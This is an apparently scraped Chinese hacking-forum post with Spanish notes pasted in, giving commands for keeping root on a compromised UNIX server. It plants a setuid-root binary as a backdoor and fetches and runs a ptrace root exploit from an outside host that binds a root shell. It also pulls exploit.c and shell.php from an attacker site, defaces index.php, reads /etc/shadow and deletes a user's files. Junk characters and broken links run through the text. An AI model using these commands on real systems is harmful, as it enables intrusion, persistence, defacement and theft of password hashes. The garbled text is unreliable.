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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>
! c* g: {7 }' |7 U" `$ L<>1.</P>; m6 ?) |1 H! v' P  s+ U
<>[cnbird@localhost tmp]#id</P>
! N; N  q, V4 Y1 Y<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
: t; K5 m3 O3 c2 p5 H<>[cnbird@localhost tmp]#cp `which id ` .</P>
- s6 s; H2 e( h3 ~<>[cnbird@localhost tmp]#chown root ./id</P>4 K( M7 [* u5 E: f4 F' V) t* F
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P># C% C1 E% }# \1 _4 ]* G* _
<>[cnbird@localhost tmp]#ls -l ./id</P>
1 R. ]  ~4 k4 I<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
5 ~, e0 E# g2 C. ?0 C. A# _1 \. z<>[cnbird@localhost tmp]#exit</P>
' y) S9 }' G( p# H( q4 @- r<>[cnbird@localhost tmp]$id</P>
6 S- r$ r: V: f; `! ^, d; V  y<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>, E8 _  ]* E: B; T$ z3 {/ w
<>[cnbird@localhost tmp]$./id </P>
& u9 k- A- v6 K9 ?3 t# g1 x6 Y<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
6 e' M  P- }* e& y; v; l<>2.利用ptrace成为root的方法</P>) X2 T% s# u  V; O7 ^, J
<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace% T3 t4 {2 Y! z! X; l) Q
-&gt; Parent's PID is 2313. Child's PID is 2314.
, P! J3 O1 Q7 c; y-&gt; Attaching to 2315.... P1 q! G0 N- g: t
-&gt; Got the thread!!9 i4 ]6 X# M" a" U/ C! @
-&gt; Waiting for the next signal...
2 j4 r7 _4 k; \2 i$ Q% g, K-&gt; Injecting shellcode at 0x4000e85d9 w- h6 G7 k0 ]0 i$ h4 K
-&gt; Bind root shell on port 24876... =p4 O2 t5 C' c% B; v
-&gt; Detached from modprobe thread.# M4 j0 V7 t* H1 e6 h. L/ C, }
-&gt; Committing suicide.....</P>
& d7 E% W" `" |; |5 M* K4 N<>[bash]# id
5 D& W+ ^6 v4 y5 e3 I! `, Fuid=0(root) gid=0(root) groups=0(root)</P>
: x; i+ C7 d5 O6 ?" v1 N$ c<>ara ver los dominios que hay en el server:
( d2 W9 W* _, @/ S) s---------------------------------------------------------
. X4 c& X$ s4 L) y# K1 T$ Fcat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios7 H' G9 b5 s  ]# [/ B
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios
+ ]6 d9 b4 s- }4 J9 Hcat /etc/localdomains &lt;&lt; Unicamente los dominios locales
/ j5 w3 X. K- |cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio 6 s/ I! C6 i; v3 {0 _
cat /etc/userdomains &lt;&lt; Este es el mas comun
# v: y; {; ~: C2 T3 K; _' h$ J---------------------------------------------------------</P>
3 k  z7 B9 \  i" T. Y+ T% @) E<>ara ver la version de kernel:
: H% i0 X/ }% Z, P# |! H---------------------------------------------------------; B4 K: X! \8 Z  L- u
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.3 [( ~2 Y0 B) M# Q' f% l: J
---------------------------------------------------------</P>1 T- i. g6 P) d4 E
<>ara modificar un index ya existente:
; L7 J8 S' T1 J) j---------------------------------------------------------
9 G- a6 q5 C6 Z8 W, }& }  M' B2 becho "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
0 g$ e' [% [# E  ?) W* t---------------------------------------------------------</P>
7 r: E( s. u# L! Y* J* o( @; M<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
# K( Y! _7 e; Z. k) A9 E  f% k---------------------------------------------------------
0 J7 M; u2 g: _  V2 a* p& Qcd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit5 H) s5 o* x2 n& G. k( K
cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
% b  W6 V- X, l: f5 ^7 Q4 Q: \cd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"& q3 E: q6 v$ e5 e
cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
1 g4 U7 \4 a& ]( ]Hasta aqui termina el proceso para un exploit." D' `' d; C. K  k3 p! ^* Y
---------------------------------------------------------</P>0 M7 F& S* j. q- V/ `' j! ~- O
<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
7 h8 N* H( x" D6 K3 X. T* U---------------------------------------------------------* R( n: E; x" b- V
cat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.' h6 F" j, C; {( ]/ T6 W# A4 Z/ Z
---------------------------------------------------------</P>
. _' j! A  \1 T9 ]  p<>Borrar un Ficher# ~. G! B" w, p+ i/ k8 y
---------------------------------------------------------
" n6 p& p$ s1 h2 N% X& Wcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm  x& j  h, @4 T  z9 H  Y
---------------------------------------------------------</P>. |: _3 Z( p  m
<>Subir un ficher5 V0 w' a7 m' v7 V* ^
---------------------------------------------------------
6 H0 t6 Z4 |) e2 V3 F/ R. dcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
" |2 _: ~5 e  B! d. w2 ?: _<>. L  n, L% ]* {" d1 E
<CENTER></CENTER>
zan
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